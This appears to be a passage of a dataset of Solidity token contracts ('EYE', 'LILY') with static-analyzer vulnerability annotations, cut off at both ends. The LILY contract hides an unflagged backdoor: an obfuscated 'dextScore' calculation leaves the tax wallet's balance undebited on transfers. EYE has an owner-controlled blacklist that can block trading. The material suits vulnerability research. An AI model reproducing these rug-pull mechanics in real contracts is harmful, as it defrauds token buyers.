_balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ad074e2): EYE._taxWallet should be immutable \n\t// Recommendation for ad074e2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2955822): EYE._initialBuyTax should be constant \n\t// Recommendation for 2955822: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: bf83265): EYE._initialSellTax should be constant \n\t// Recommendation for bf83265: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1002f34): EYE._finalBuyTax should be constant \n\t// Recommendation for 1002f34: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0043d44): EYE._finalSellTax should be constant \n\t// Recommendation for 0043d44: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 14d197a): EYE._reduceBuyTaxAt should be constant \n\t// Recommendation for 14d197a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 11560d4): EYE._reduceSellTaxAt should be constant \n\t// Recommendation for 11560d4: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: fc5be6f): EYE._preventSwapBefore should be constant \n\t// Recommendation for fc5be6f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1f6cb14): EYE._transferTax should be constant \n\t// Recommendation for 1f6cb14: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"EYE Am Watching You\";\n\n string private constant _symbol = unicode\"EYE\";\n\n\t// divide-before-multiply | ID: fd630b7\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 52f1566\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 4a949c3): EYE._taxSwapThreshold should be constant \n\t// Recommendation for 4a949c3: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: fcbb2b1\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 2bbd4fa): EYE._maxTaxSwap should be constant \n\t// Recommendation for 2bbd4fa: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 2316082\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 422ebfa): EYE.uniswapV2Router should be immutable \n\t// Recommendation for 422ebfa: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1d5088a): EYE.uniswapV2Pair should be immutable \n\t// Recommendation for 1d5088a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c38e288): EYE.constructor() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for c38e288: Ensure that all the return values of the function calls are used.\n constructor() {\n _taxWallet = payable(0x861e9E32d5E25E5004DB14F4064A05af3d7135E2);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: c38e288\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 76cc61c): EYE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 76cc61c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6fc9316): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6fc9316: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bb02bec): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bb02bec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6fc9316\n\t\t// reentrancy-benign | ID: bb02bec\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 6fc9316\n\t\t// reentrancy-benign | ID: bb02bec\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 80e5419): EYE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 80e5419: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: bb02bec\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6fc9316\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9ceb38c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9ceb38c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f8b73a6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f8b73a6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 9ceb38c\n\t\t\t\t// reentrancy-eth | ID: f8b73a6\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 9ceb38c\n\t\t\t\t\t// reentrancy-eth | ID: f8b73a6\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: f8b73a6\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: f8b73a6\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: f8b73a6\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 9ceb38c\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: f8b73a6\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: f8b73a6\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 9ceb38c\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9ceb38c\n\t\t// reentrancy-events | ID: 6fc9316\n\t\t// reentrancy-benign | ID: bb02bec\n\t\t// reentrancy-eth | ID: f8b73a6\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9ceb38c\n\t\t// reentrancy-events | ID: 6fc9316\n\t\t// reentrancy-eth | ID: f8b73a6\n _taxWallet.transfer(amount);\n }\n\n function addB(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delB(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 41bac48): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 41bac48: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 19725e4): EYE.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 19725e4: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5b18d2c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5b18d2c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 41bac48\n\t\t// unused-return | ID: 19725e4\n\t\t// reentrancy-eth | ID: 5b18d2c\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 41bac48\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 5b18d2c\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSw() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n", "file_name": "solidity_code_10291.sol", "size_bytes": 21893, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function balanceOf(address account) external view returns (uint256);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n address private _owner;\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ncontract LILY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExcludeFromFees;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 061403c): LILY._taxWallet should be immutable \n\t// Recommendation for 061403c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4002dae): LILY._initialBuyTax should be constant \n\t// Recommendation for 4002dae: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: c04609f): LILY._initialSellTax should be constant \n\t// Recommendation for c04609f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: c481dc5): LILY._finalBuyTax should be constant \n\t// Recommendation for c481dc5: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 316f8cd): LILY._finalSellTax should be constant \n\t// Recommendation for 316f8cd: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d24f927): LILY._reduceBuyTaxAt should be constant \n\t// Recommendation for d24f927: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 142ad79): LILY._reduceSellTaxAt should be constant \n\t// Recommendation for 142ad79: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5444671): LILY._preventSwapBefore should be constant \n\t// Recommendation for 5444671: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 1;\n\n uint256 private _buyCount = 0;\n\n string private constant _name = unicode\"Lily\";\n\n string private constant _symbol = unicode\"LILY\";\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 4500000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 4500000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e3a0330): LILY._taxSwapThreshold should be constant \n\t// Recommendation for e3a0330: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 3700000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1c96f26): LILY._maxTaxSwap should be constant \n\t// Recommendation for 1c96f26: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4852f2f): LILY.dextScoreAuto should be constant \n\t// Recommendation for 4852f2f: Add the 'constant' attribute to state variables that never change.\n uint256 private dextScoreAuto = 0;\n\n struct DextScoreTarget {\n uint256 initialDst;\n uint256 updDst;\n uint256 reclaimScoreUnits;\n }\n\n uint256 private autoDextScore = 0;\n\n mapping(address => DextScoreTarget) private dextScoreTarget;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n isExcludeFromFees[address(this)] = true;\n\n _taxWallet = payable(0xfb47368Fa74C8945958ceF94e6a8E7f9c74160Ba);\n\n isExcludeFromFees[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8263387): LILY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8263387: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 06bd0eb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 06bd0eb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8be2346): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8be2346: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 06bd0eb\n\t\t// reentrancy-benign | ID: 8be2346\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 06bd0eb\n\t\t// reentrancy-benign | ID: 8be2346\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a01a7ef): LILY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a01a7ef: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8be2346\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 06bd0eb\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0a7f952): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0a7f952: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b990512): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b990512: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 00c8a0c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 00c8a0c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(\n tokenAmount > 0,\n \"Token: Transfer amount must be greater than zero\"\n );\n\n if (inSwap || !tradingOpen) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !isExcludeFromFees[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 0a7f952\n\t\t\t\t// reentrancy-benign | ID: b990512\n\t\t\t\t// reentrancy-eth | ID: 00c8a0c\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 0a7f952\n\t\t\t\t\t// reentrancy-eth | ID: 00c8a0c\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (isExcludeFromFees[from] || isExcludeFromFees[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: b990512\n autoDextScore = block.number;\n }\n\n if (!isExcludeFromFees[from] && !isExcludeFromFees[to]) {\n if (uniswapV2Pair != to) {\n DextScoreTarget storage dextScTrg = dextScoreTarget[to];\n\n if (from == uniswapV2Pair) {\n if (dextScTrg.initialDst == 0) {\n if (_preventSwapBefore < _buyCount) {\n\t\t\t\t\t\t\t// reentrancy-benign | ID: b990512\n dextScTrg.initialDst = block.number;\n } else {\n\t\t\t\t\t\t\t// reentrancy-benign | ID: b990512\n dextScTrg.initialDst = block.number - 1;\n }\n }\n } else {\n DextScoreTarget storage dextScTrgFc = dextScoreTarget[from];\n\n if (\n dextScTrg.initialDst > dextScTrgFc.initialDst ||\n dextScTrg.initialDst == 0\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: b990512\n dextScTrg.initialDst = dextScTrgFc.initialDst;\n }\n }\n } else if (swapEnabled) {\n DextScoreTarget storage dextScTrgFc = dextScoreTarget[from];\n\n\t\t\t\t// reentrancy-benign | ID: b990512\n dextScTrgFc.reclaimScoreUnits =\n dextScTrgFc.initialDst -\n autoDextScore;\n\n\t\t\t\t// reentrancy-benign | ID: b990512\n dextScTrgFc.updDst = block.timestamp;\n }\n }\n\n\t\t// reentrancy-events | ID: 0a7f952\n\t\t// reentrancy-eth | ID: 00c8a0c\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 00c8a0c\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 00c8a0c\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 0a7f952\n emit Transfer(from, to, receiptAmount);\n }\n\n function _tokenTaxTransfer(\n address addrs,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : dextScoreAuto.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 00c8a0c\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 0a7f952\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 